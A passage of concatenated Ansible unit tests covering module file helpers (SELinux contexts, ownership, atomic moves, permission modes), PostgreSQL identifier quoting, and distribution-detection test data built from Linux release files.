                self.assertEqual(am.is_special_selinux_path('/some/path/that/should/be/nfs'), (False, None))

            mount_data = [
                '/dev/disk1 / ext4 rw,seclabel,relatime,data=ordered 0 0\n',
                '1.1.1.1:/path/to/nfs /some/path nfs ro 0 0\n',
                'whatever /weird/random/fstype foos rw 0 0\n',
            ]

            # mock_open has a broken readlines() implementation apparently...
            # this should work by default but doesn't, so we fix it
            m = mock_open(read_data=''.join(mount_data))
            m.return_value.readlines.return_value = mount_data

            with patch.object(builtins, 'open', m, create=True):
                self.assertEqual(am.is_special_selinux_path('/some/random/path'), (False, None))
                self.assertEqual(am.is_special_selinux_path('/some/path/that/should/be/nfs'), (True, ['foo_u', 'foo_r', 'foo_t', 's0']))
                self.assertEqual(am.is_special_selinux_path('/weird/random/fstype/path'), (True, ['foo_u', 'foo_r', 'foo_t', 's0']))

    def test_module_utils_basic_ansible_module_user_and_group(self):
        from ansible.module_utils import basic

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        mock_stat = MagicMock()
        mock_stat.st_uid = 0
        mock_stat.st_gid = 0

        with patch('os.lstat', return_value=mock_stat):
            self.assertEqual(am.user_and_group('/path/to/file'), (0, 0))

    def test_module_utils_basic_ansible_module_find_mount_point(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        def _mock_ismount(path):
            if path == '/':
                return True
            return False

        with patch('os.path.ismount', side_effect=_mock_ismount):
            self.assertEqual(am.find_mount_point('/root/fs/../mounted/path/to/whatever'), '/')

        def _mock_ismount(path):
            if path == '/subdir/mount':
                return True
            return False

        with patch('os.path.ismount', side_effect=_mock_ismount):
            self.assertEqual(am.find_mount_point('/subdir/mount/path/to/whatever'), '/subdir/mount')

    def test_module_utils_basic_ansible_module_set_context_if_different(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        basic.HAVE_SELINUX = False

        am.selinux_enabled = MagicMock(return_value=False)
        self.assertEqual(am.set_context_if_different('/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], True), True)
        self.assertEqual(am.set_context_if_different('/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], False), False)

        basic.HAVE_SELINUX = True

        am.selinux_enabled = MagicMock(return_value=True)
        am.selinux_context = MagicMock(return_value=['bar_u', 'bar_r', None, None])
        am.is_special_selinux_path = MagicMock(return_value=(False, None))

        basic.selinux = Mock()
        with patch.dict('sys.modules', {'selinux': basic.selinux}):
            with patch('selinux.lsetfilecon', return_value=0) as m:
                self.assertEqual(am.set_context_if_different('/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], False), True)
                m.assert_called_with('/path/to/file', 'foo_u:foo_r:foo_t:s0')
                m.reset_mock()
                am.check_mode = True
                self.assertEqual(am.set_context_if_different('/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], False), True)
                self.assertEqual(m.called, False)
                am.check_mode = False

            with patch('selinux.lsetfilecon', return_value=1) as m:
                self.assertRaises(SystemExit, am.set_context_if_different, '/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], True)

            with patch('selinux.lsetfilecon', side_effect=OSError) as m:
                self.assertRaises(SystemExit, am.set_context_if_different, '/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], True)

            am.is_special_selinux_path = MagicMock(return_value=(True, ['sp_u', 'sp_r', 'sp_t', 's0']))
            
            with patch('selinux.lsetfilecon', return_value=0) as m:
                self.assertEqual(am.set_context_if_different('/path/to/file', ['foo_u', 'foo_r', 'foo_t', 's0'], False), True)
                m.assert_called_with('/path/to/file', 'sp_u:sp_r:sp_t:s0')

        delattr(basic, 'selinux')

    def test_module_utils_basic_ansible_module_set_owner_if_different(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        self.assertEqual(am.set_owner_if_different('/path/to/file', None, True), True)
        self.assertEqual(am.set_owner_if_different('/path/to/file', None, False), False)

        am.user_and_group = MagicMock(return_value=(500, 500))

        with patch('os.lchown', return_value=None) as m:
            self.assertEqual(am.set_owner_if_different('/path/to/file', 0, False), True)
            m.assert_called_with('/path/to/file', 0, -1)

            def _mock_getpwnam(*args, **kwargs):
                mock_pw = MagicMock()
                mock_pw.pw_uid = 0
                return mock_pw

            m.reset_mock()
            with patch('pwd.getpwnam', side_effect=_mock_getpwnam):
                self.assertEqual(am.set_owner_if_different('/path/to/file', 'root', False), True)
                m.assert_called_with('/path/to/file', 0, -1)

            with patch('pwd.getpwnam', side_effect=KeyError):
                self.assertRaises(SystemExit, am.set_owner_if_different, '/path/to/file', 'root', False)

            m.reset_mock()
            am.check_mode = True
            self.assertEqual(am.set_owner_if_different('/path/to/file', 0, False), True)
            self.assertEqual(m.called, False)
            am.check_mode = False

        with patch('os.lchown', side_effect=OSError) as m:
            self.assertRaises(SystemExit, am.set_owner_if_different, '/path/to/file', 'root', False)

    def test_module_utils_basic_ansible_module_set_group_if_different(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        self.assertEqual(am.set_group_if_different('/path/to/file', None, True), True)
        self.assertEqual(am.set_group_if_different('/path/to/file', None, False), False)

        am.user_and_group = MagicMock(return_value=(500, 500))

        with patch('os.lchown', return_value=None) as m:
            self.assertEqual(am.set_group_if_different('/path/to/file', 0, False), True)
            m.assert_called_with('/path/to/file', -1, 0)

            def _mock_getgrnam(*args, **kwargs):
                mock_gr = MagicMock()
                mock_gr.gr_gid = 0
                return mock_gr

            m.reset_mock()
            with patch('grp.getgrnam', side_effect=_mock_getgrnam):
                self.assertEqual(am.set_group_if_different('/path/to/file', 'root', False), True)
                m.assert_called_with('/path/to/file', -1, 0)

            with patch('grp.getgrnam', side_effect=KeyError):
                self.assertRaises(SystemExit, am.set_group_if_different, '/path/to/file', 'root', False)

            m.reset_mock()
            am.check_mode = True
            self.assertEqual(am.set_group_if_different('/path/to/file', 0, False), True)
            self.assertEqual(m.called, False)
            am.check_mode = False

        with patch('os.lchown', side_effect=OSError) as m:
            self.assertRaises(SystemExit, am.set_group_if_different, '/path/to/file', 'root', False)

    @patch('tempfile.NamedTemporaryFile')
    @patch('os.umask')
    @patch('shutil.copyfileobj')
    @patch('shutil.move')
    @patch('shutil.copy2')
    @patch('os.rename')
    @patch('pwd.getpwuid')
    @patch('os.getuid')
    @patch('os.environ')
    @patch('os.getlogin')
    @patch('os.chown')
    @patch('os.chmod')
    @patch('os.stat')
    @patch('os.path.exists')
    def test_module_utils_basic_ansible_module_atomic_move(
        self,
        _os_path_exists,
        _os_stat,
        _os_chmod,
        _os_chown,
        _os_getlogin,
        _os_environ,
        _os_getuid,
        _pwd_getpwuid,
        _os_rename,
        _shutil_copy2,
        _shutil_move,
        _shutil_copyfileobj,
        _os_umask,
        _tempfile_NamedTemporaryFile,
        ):

        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        environ = dict()
        _os_environ.__getitem__ = environ.__getitem__
        _os_environ.__setitem__ = environ.__setitem__

        am.selinux_enabled = MagicMock()
        am.selinux_context = MagicMock()
        am.selinux_default_context = MagicMock()
        am.set_context_if_different = MagicMock()

        # test destination does not exist, no selinux, login name = 'root',
        # no environment, os.rename() succeeds
        _os_path_exists.side_effect = [False, False]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_rename.return_value = None
        _os_umask.side_effect = [18, 0]
        am.selinux_enabled.return_value = False
        _os_chmod.reset_mock()
        _os_chown.reset_mock()
        am.set_context_if_different.reset_mock()
        am.atomic_move('/path/to/src', '/path/to/dest')
        _os_rename.assert_called_with('/path/to/src', '/path/to/dest')
        self.assertEqual(_os_chmod.call_args_list, [call('/path/to/dest', basic.DEFAULT_PERM & ~18)])

        # same as above, except selinux_enabled
        _os_path_exists.side_effect = [False, False]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_rename.return_value = None
        _os_umask.side_effect = [18, 0]
        mock_context = MagicMock()
        am.selinux_default_context.return_value = mock_context
        am.selinux_enabled.return_value = True
        _os_chmod.reset_mock()
        _os_chown.reset_mock()
        am.set_context_if_different.reset_mock()
        am.selinux_default_context.reset_mock()
        am.atomic_move('/path/to/src', '/path/to/dest')
        _os_rename.assert_called_with('/path/to/src', '/path/to/dest')
        self.assertEqual(_os_chmod.call_args_list, [call('/path/to/dest', basic.DEFAULT_PERM & ~18)])
        self.assertEqual(am.selinux_default_context.call_args_list, [call('/path/to/dest')])
        self.assertEqual(am.set_context_if_different.call_args_list, [call('/path/to/dest', mock_context, False)])

        # now with dest present, no selinux, also raise OSError when using
        # os.getlogin() to test corner case with no tty
        _os_path_exists.side_effect = [True, True]
        _os_getlogin.side_effect = OSError()
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_rename.return_value = None
        _os_umask.side_effect = [18, 0]
        environ['LOGNAME'] = 'root'
        stat1 = MagicMock()
        stat1.st_mode = 0o0644
        stat1.st_uid = 0
        stat1.st_gid = 0
        _os_stat.side_effect = [stat1,]
        am.selinux_enabled.return_value = False
        _os_chmod.reset_mock()
        _os_chown.reset_mock()
        am.set_context_if_different.reset_mock()
        am.atomic_move('/path/to/src', '/path/to/dest')
        _os_rename.assert_called_with('/path/to/src', '/path/to/dest')

        # dest missing, selinux enabled
        _os_path_exists.side_effect = [True, True]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_rename.return_value = None
        _os_umask.side_effect = [18, 0]
        stat1 = MagicMock()
        stat1.st_mode = 0o0644
        stat1.st_uid = 0
        stat1.st_gid = 0
        _os_stat.side_effect = [stat1,]
        mock_context = MagicMock()
        am.selinux_context.return_value = mock_context
        am.selinux_enabled.return_value = True
        _os_chmod.reset_mock()
        _os_chown.reset_mock()
        am.set_context_if_different.reset_mock()
        am.selinux_default_context.reset_mock()
        am.atomic_move('/path/to/src', '/path/to/dest')
        _os_rename.assert_called_with('/path/to/src', '/path/to/dest')
        self.assertEqual(am.selinux_context.call_args_list, [call('/path/to/dest')])
        self.assertEqual(am.set_context_if_different.call_args_list, [call('/path/to/dest', mock_context, False)])

        # now testing with exceptions raised
        # have os.stat raise OSError which is not EPERM
        _os_stat.side_effect = OSError()
        _os_path_exists.side_effect = [True, True]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_rename.return_value = None
        _os_umask.side_effect = [18, 0]
        self.assertRaises(OSError, am.atomic_move, '/path/to/src', '/path/to/dest')

        # and now have os.stat return EPERM, which should not fail
        _os_stat.side_effect = OSError(errno.EPERM, 'testing os stat with EPERM')
        _os_path_exists.side_effect = [True, True]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_rename.return_value = None
        _os_umask.side_effect = [18, 0]
        # FIXME: we don't assert anything here yet
        am.atomic_move('/path/to/src', '/path/to/dest')

        # now we test os.rename() raising errors...
        # first we test with a bad errno to verify it bombs out
        _os_path_exists.side_effect = [False, False]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_umask.side_effect = [18, 0]
        _os_rename.side_effect = OSError(errno.EIO, 'failing with EIO')
        self.assertRaises(SystemExit, am.atomic_move, '/path/to/src', '/path/to/dest')

        # next we test with EPERM so it continues to the alternate code for moving
        # test with NamedTemporaryFile raising an error first
        _os_path_exists.side_effect = [False, False]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_umask.side_effect = [18, 0]
        _os_rename.side_effect = [OSError(errno.EPERM, 'failing with EPERM'), None]
        _tempfile_NamedTemporaryFile.return_value = None
        _tempfile_NamedTemporaryFile.side_effect = OSError()
        am.selinux_enabled.return_value = False
        self.assertRaises(SystemExit, am.atomic_move, '/path/to/src', '/path/to/dest')

        # then test with it creating a temp file
        _os_path_exists.side_effect = [False, False]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_umask.side_effect = [18, 0]
        _os_rename.side_effect = [OSError(errno.EPERM, 'failing with EPERM'), None]
        mock_stat1 = MagicMock()
        mock_stat2 = MagicMock()
        mock_stat3 = MagicMock()
        _os_stat.return_value = [mock_stat1, mock_stat2, mock_stat3]
        _os_stat.side_effect = None
        mock_tempfile = MagicMock()
        mock_tempfile.name = '/path/to/tempfile'
        _tempfile_NamedTemporaryFile.return_value = mock_tempfile
        _tempfile_NamedTemporaryFile.side_effect = None
        am.selinux_enabled.return_value = False
        # FIXME: we don't assert anything here yet
        am.atomic_move('/path/to/src', '/path/to/dest')

        # same as above, but with selinux enabled
        _os_path_exists.side_effect = [False, False]
        _os_getlogin.return_value = 'root'
        _os_getuid.return_value = 0
        _pwd_getpwuid.return_value = ('root', '', 0, 0, '', '', '')
        _os_umask.side_effect = [18, 0]
        _os_rename.side_effect = [OSError(errno.EPERM, 'failing with EPERM'), None]
        mock_tempfile = MagicMock()
        _tempfile_NamedTemporaryFile.return_value = mock_tempfile
        mock_context = MagicMock()
        am.selinux_default_context.return_value = mock_context
        am.selinux_enabled.return_value = True
        am.atomic_move('/path/to/src', '/path/to/dest')

    def test_module_utils_basic_ansible_module__symbolic_mode_to_octal(self):

        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        mock_stat = MagicMock()

        # FIXME: trying many more combinations here would be good
        # directory, give full perms to all, then one group at a time
        mock_stat.st_mode = 0o040000
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'a+rwx'), 0o0777)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'u+rwx,g+rwx,o+rwx'), 0o0777)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'o+rwx'), 0o0007)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'g+rwx'), 0o0070)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'u+rwx'), 0o0700)

        # same as above, but in reverse so removing permissions
        mock_stat.st_mode = 0o040777
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'a-rwx'), 0o0000)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'u-rwx,g-rwx,o-rwx'), 0o0000)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'o-rwx'), 0o0770)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'g-rwx'), 0o0707)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'u-rwx'), 0o0077)

        # now using absolute assignment
        mock_stat.st_mode = 0o040000
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'a=rwx'), 0o0777)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'u=rwx,g=rwx,o=rwx'), 0o0777)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'o=rwx'), 0o0007)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'g=rwx'), 0o0070)
        self.assertEqual(am._symbolic_mode_to_octal(mock_stat, 'u=rwx'), 0o0700)

        # invalid modes
        mock_stat.st_mode = 0o0400000
        self.assertRaises(ValueError, am._symbolic_mode_to_octal, mock_stat, 'a=foo')






import collections
import mock
import os
import re


from nose.tools import eq_
try:
    from nose.tools import assert_raises_regexp
except ImportError:
    from ansible.compat.six import string_types
    # Python < 2.7
    def assert_raises_regexp(expected, regexp, callable, *a, **kw):
        try:
            callable(*a, **kw)
        except expected as e:
            if isinstance(regexp, string_types):
                regexp = re.compile(regexp)
            if not regexp.search(str(e)):
                raise Exception('"%s" does not match "%s"' %
                                (regexp.pattern, str(e)))
        else:
            if hasattr(expected,'__name__'): excName = expected.__name__
            else: excName = str(expected)
            raise AssertionError("%s not raised" % excName)

from ansible.module_utils.database import (
    pg_quote_identifier,
    SQLParseError,
)


# Note: Using nose's generator test cases here so we can't inherit from
# unittest.TestCase
class TestQuotePgIdentifier(object):

    # These are all valid strings
    # The results are based on interpreting the identifier as a table name
    valid = {
        # User quoted
        '"public.table"': '"public.table"',
        '"public"."table"': '"public"."table"',
        '"schema test"."table test"': '"schema test"."table test"',

        # We quote part
        'public.table': '"public"."table"',
        '"public".table': '"public"."table"',
        'public."table"': '"public"."table"',
        'schema test.table test': '"schema test"."table test"',
        '"schema test".table test': '"schema test"."table test"',
        'schema test."table test"': '"schema test"."table test"',

        # Embedded double quotes
        'table "test"': '"table ""test"""',
        'public."table ""test"""': '"public"."table ""test"""',
        'public.table "test"': '"public"."table ""test"""',
        'schema "test".table': '"schema ""test"""."table"',
        '"schema ""test""".table': '"schema ""test"""."table"',
        '"""wat"""."""test"""': '"""wat"""."""test"""',
        # Sigh, handle these as well:
        '"no end quote': '"""no end quote"',
        'schema."table': '"schema"."""table"',
        '"schema.table': '"""schema"."table"',
        'schema."table.something': '"schema"."""table"."something"',

        # Embedded dots
        '"schema.test"."table.test"': '"schema.test"."table.test"',
        '"schema.".table': '"schema."."table"',
        '"schema."."table"': '"schema."."table"',
        'schema.".table"': '"schema".".table"',
        '"schema".".table"': '"schema".".table"',
        '"schema.".".table"': '"schema.".".table"',
        # These are valid but maybe not what the user intended
        '."table"': '".""table"""',
        'table.': '"table."',
    }

    invalid = {
        ('test.too.many.dots', 'table'): 'PostgreSQL does not support table with more than 3 dots',
        ('"test.too".many.dots', 'database'): 'PostgreSQL does not support database with more than 1 dots',
        ('test.too."many.dots"', 'database'): 'PostgreSQL does not support database with more than 1 dots',
        ('"test"."too"."many"."dots"', 'database'): "PostgreSQL does not support database with more than 1 dots",
        ('"test"."too"."many"."dots"', 'schema'): "PostgreSQL does not support schema with more than 2 dots",
        ('"test"."too"."many"."dots"', 'table'): "PostgreSQL does not support table with more than 3 dots",
        ('"test"."too"."many"."dots"."for"."column"', 'column'): "PostgreSQL does not support column with more than 4 dots",
        ('"table "invalid" double quote"', 'table'): 'User escaped identifiers must escape extra quotes',
        ('"schema "invalid"""."table "invalid"', 'table'): 'User escaped identifiers must escape extra quotes',
        ('"schema."table"','table'): 'User escaped identifiers must escape extra quotes',
        ('"schema".', 'table'): 'Identifier name unspecified or unquoted trailing dot',
    }

    def check_valid_quotes(self, identifier, quoted_identifier):
        eq_(pg_quote_identifier(identifier, 'table'), quoted_identifier)

    def test_valid_quotes(self):
        for identifier in self.valid:
            yield self.check_valid_quotes, identifier, self.valid[identifier]

    def check_invalid_quotes(self, identifier, id_type, msg):
        assert_raises_regexp(SQLParseError, msg, pg_quote_identifier, *(identifier, id_type))

    def test_invalid_quotes(self):
        for test in self.invalid:
            yield self.check_invalid_quotes, test[0], test[1], self.invalid[test]

    def test_how_many_dots(self):
        eq_(pg_quote_identifier('role', 'role'), '"role"')
        assert_raises_regexp(SQLParseError, "PostgreSQL does not support role with more than 1 dots", pg_quote_identifier, *('role.more', 'role'))

        eq_(pg_quote_identifier('db', 'database'), '"db"')
        assert_raises_regexp(SQLParseError, "PostgreSQL does not support database with more than 1 dots", pg_quote_identifier, *('db.more', 'database'))

        eq_(pg_quote_identifier('db.schema', 'schema'), '"db"."schema"')
        assert_raises_regexp(SQLParseError, "PostgreSQL does not support schema with more than 2 dots", pg_quote_identifier, *('db.schema.more', 'schema'))

        eq_(pg_quote_identifier('db.schema.table', 'table'), '"db"."schema"."table"')
        assert_raises_regexp(SQLParseError, "PostgreSQL does not support table with more than 3 dots", pg_quote_identifier, *('db.schema.table.more', 'table'))

        eq_(pg_quote_identifier('db.schema.table.column', 'column'), '"db"."schema"."table"."column"')
        assert_raises_regexp(SQLParseError, "PostgreSQL does not support column with more than 4 dots", pg_quote_identifier, *('db.schema.table.column.more', 'column'))






# -*- coding: utf-8 -*-
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import sys

# to work around basic.py reading stdin
import json

from units.mock.procenv import swap_stdin_and_argv

# for testing
from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch

# the module we are actually testing


# to generate the testcase data, you can use the script gen_distribution_version_testcase.py in hacking/tests
TESTSETS = [
    {
    "platform.dist": [
        "centos",
        "7.2.1511",
        "Core"
    ],
    "input": {
        "/etc/redhat-release": "CentOS Linux release 7.2.1511 (Core) \n",
        "/etc/os-release": "NAME=\"CentOS Linux\"\nVERSION=\"7 (Core)\"\nID=\"centos\"\nID_LIKE=\"rhel fedora\"\nVERSION_ID=\"7\"\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\nANSI_COLOR=\"0;31\"\nCPE_NAME=\"cpe:/o:centos:centos:7\"\nHOME_URL=\"https://www.centos.org/\"\nBUG_REPORT_URL=\"https://bugs.centos.org/\"\n\nCENTOS_MANTISBT_PROJECT=\"CentOS-7\"\nCENTOS_MANTISBT_PROJECT_VERSION=\"7\"\nREDHAT_SUPPORT_PRODUCT=\"centos\"\nREDHAT_SUPPORT_PRODUCT_VERSION=\"7\"\n\n",
        "/etc/system-release": "CentOS Linux release 7.2.1511 (Core) \n"
    },
    "name": "CentOS 7.2.1511",
    "result": {
        "distribution_release": "Core",
        "distribution": "CentOS",
        "distribution_major_version": "7",
        "distribution_version": "7.2.1511"
    }
},
    {
    "name": "CentOS 6.7",
    "platform.dist": [
        "centos",
        "6.7",
        "Final"
    ],
    "input": {
        "/etc/redhat-release": "CentOS release 6.7 (Final)\n",
        "/etc/lsb-release": "LSB_VERSION=base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch\n",
        "/etc/system-release": "CentOS release 6.7 (Final)\n"
    },
    "result": {
        "distribution_release": "Final",
        "distribution": "CentOS",
        "distribution_major_version": "6",
        "distribution_version": "6.7"
    }
},
    {
    "name": "RedHat 7.2",
    "platform.dist": [
        "redhat",
        "7.2",
        "Maipo"
    ],
    "input": {
        "/etc/redhat-release": "Red Hat Enterprise Linux Server release 7.2 (Maipo)\n",
        "/etc/os-release": "NAME=\"Red Hat Enterprise Linux Server\"\nVERSION=\"7.2 (Maipo)\"\nID=\"rhel\"\nID_LIKE=\"fedora\"\nVERSION_ID=\"7.2\"\nPRETTY_NAME=\"Red Hat Enterprise Linux Server 7.2 (Maipo)\"\nANSI_COLOR=\"0;31\"\nCPE_NAME=\"cpe:/o:redhat:enterprise_linux:7.2:GA:server\"\nHOME_URL=\"https://www.redhat.com/\"\nBUG_REPORT_URL=\"https://bugzilla.redhat.com/\"\n\nREDHAT_BUGZILLA_PRODUCT=\"Red Hat Enterprise Linux 7\"\nREDHAT_BUGZILLA_PRODUCT_VERSION=7.2\nREDHAT_SUPPORT_PRODUCT=\"Red Hat Enterprise Linux\"\nREDHAT_SUPPORT_PRODUCT_VERSION=\"7.2\"\n",
        "/etc/system-release": "Red Hat Enterprise Linux Server release 7.2 (Maipo)\n"
    },
    "result": {
        "distribution_release": "Maipo",
        "distribution": "RedHat",
        "distribution_major_version": "7",
        "distribution_version": "7.2"
    }
},
{
    "name": "RedHat 6.7",
    "platform.dist": [
        "redhat",
        "6.7",
        "Santiago"
    ],
    "input": {
        "/etc/redhat-release": "Red Hat Enterprise Linux Server release 6.7 (Santiago)\n",
        "/etc/lsb-release": "LSB_VERSION=base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch\n",
        "/etc/system-release": "Red Hat Enterprise Linux Server release 6.7 (Santiago)\n"
    },
    "result": {
        "distribution_release": "Santiago",
        "distribution": "RedHat",
        "distribution_major_version": "6",
        "distribution_version": "6.7"
    }
},
{
        "name" : "openSUSE Leap 42.1",
        "input": {
            "/etc/os-release":
            """
NAME="openSUSE Leap"
VERSION="42.1"
VERSION_ID="42.1"
PRETTY_NAME="openSUSE Leap 42.1 (x86_64)"
ID=opensuse
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:opensuse:42.1"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://opensuse.org/"
ID_LIKE="suse"
            """,
            "/etc/SuSE-release":"""
openSUSE 42.1 (x86_64)
VERSION = 42.1
CODENAME = Malachite
# /etc/SuSE-release is deprecated and will be removed in the future, use /etc/os-release instead
            """
        },
        "platform.dist": ['SuSE', '42.1', 'x86_64'],
        "result":{
            "distribution": "openSUSE Leap",
            "distribution_major_version": "42",
            "distribution_release": "x86_64",
            "distribution_version": "42.1",
        }
    },
                {
        'name': 'openSUSE 13.2',
        'input': {'/etc/SuSE-release': """openSUSE 13.2 (x86_64)
VERSION = 13.2
CODENAME = Harlequin
# /etc/SuSE-release is deprecated and will be removed in the future, use /etc/os-release instead
""",
                  '/etc/os-release': """NAME=openSUSE
VERSION="13.2 (Harlequin)"
VERSION_ID="13.2"
PRETTY_NAME="openSUSE 13.2 (Harlequin) (x86_64)"
ID=opensuse
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:opensuse:13.2"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://opensuse.org/"
ID_LIKE="suse"
"""},
        'platform.dist': ('SuSE', '13.2', 'x86_64'),
        'result': {'distribution': u'openSUSE',
                   'distribution_major_version': u'13',
                   'distribution_release': u'Harlequin',
                   'distribution_version': u'13.2'}
    },
    { # see https://github.com/ansible/ansible/issues/14837
        "name": "SLES 11.3",
        "input": {
            "/etc/SuSE-release":"""
SUSE Linux Enterprise Server 11 (x86_64)
VERSION = 11
PATCHLEVEL = 3
            """
        },
        "platform.dist": ['SuSE', '11', 'x86_64'],
        "result":{
            "distribution": "SLES",
            "distribution_major_version": "11",
            "distribution_release": "3",
            "distribution_version": "11.3",
        }
    },
    { # see https://github.com/ansible/ansible/issues/14837
        "name": "SLES 11.4",
        "input": {
            "/etc/SuSE-release":"""
SUSE Linux Enterprise Server 11 (x86_64)
VERSION = 11
PATCHLEVEL = 4
            """,
            "/etc/os-release":"""
NAME="SLES"
VERSION="11.4"
VERSION_ID="11.4"
PRETTY_NAME="SUSE Linux Enterprise Server 11 SP4"
ID="sles"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:suse:sles:11:4"
            """,
        },
        "platform.dist": ['SuSE', '11', 'x86_64'],
        "result":{
            "distribution": "SLES",
            "distribution_major_version": "11",
            "distribution_release": "4",
            "distribution_version": "11.4",
        }
    },
    { # see https://github.com/ansible/ansible/issues/14837
        "name": "SLES 12 SP0",
        "input": {
            "/etc/SuSE-release":"""
SUSE Linux Enterprise Server 12 (x86_64)
VERSION = 12
PATCHLEVEL = 0
# This file is deprecated and will be removed in a future service pack or release.
# Please check /etc/os-release for details about this release.
            """,
            "/etc/os-release":"""
NAME="SLES"
VERSION="12"
VERSION_ID="12"
PRETTY_NAME="SUSE Linux Enterprise Server 12"
ID="sles"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:suse:sles:12"
            """,
        },
        "platform.dist": ['SuSE', '12', 'x86_64'],
        "result":{
            "distribution": "SLES",
            "distribution_major_version": "12",
            "distribution_release": "0",
            "distribution_version": "12",
        }
    },

    { # see https://github.com/ansible/ansible/issues/14837
        "name": "SLES 12 SP1",
        "input": {
            "/etc/SuSE-release":"""
SUSE Linux Enterprise Server 12 (x86_64)
VERSION = 12
PATCHLEVEL = 0
# This file is deprecated and will be removed in a future service pack or release.
# Please check /etc/os-release for details about this release.
            """,
            "/etc/os-release":"""
NAME="SLES"
VERSION="12-SP1"
VERSION_ID="12.1"
PRETTY_NAME="SUSE Linux Enterprise Server 12 SP1"
ID="sles"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:suse:sles:12:sp1"
            """,
        },
        "platform.dist": ['SuSE', '12', 'x86_64'],
        "result":{
            "distribution": "SLES",
            "distribution_major_version": "12",
            "distribution_release": "1",
            "distribution_version": "12.1",
        }
    },

    {
        "name": "Debian stretch/sid",
        "input": {
            "/etc/os-release":"""
PRETTY_NAME="Debian GNU/Linux stretch/sid"
NAME="Debian GNU/Linux"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
            """,
            "/etc/debian_version":"""
            stretch/sid
            """,
        },
        "platform.dist": ('debian', 'stretch/sid', ''),
        "result":{
            "distribution": "Debian",
            "distribution_major_version": "stretch/sid",
            "distribution_release": "NA",
            "distribution_version": "stretch/sid",
        }
    },
    {
        'name': "Debian 7.9",
        'input': {'/etc/os-release': """PRETTY_NAME="Debian GNU/Linux 7 (wheezy)"
NAME="Debian GNU/Linux"
VERSION_ID="7"
VERSION="7 (wheezy)"
ID=debian
ANSI_COLOR="1;31"
HOME_URL="http://www.debian.org/"
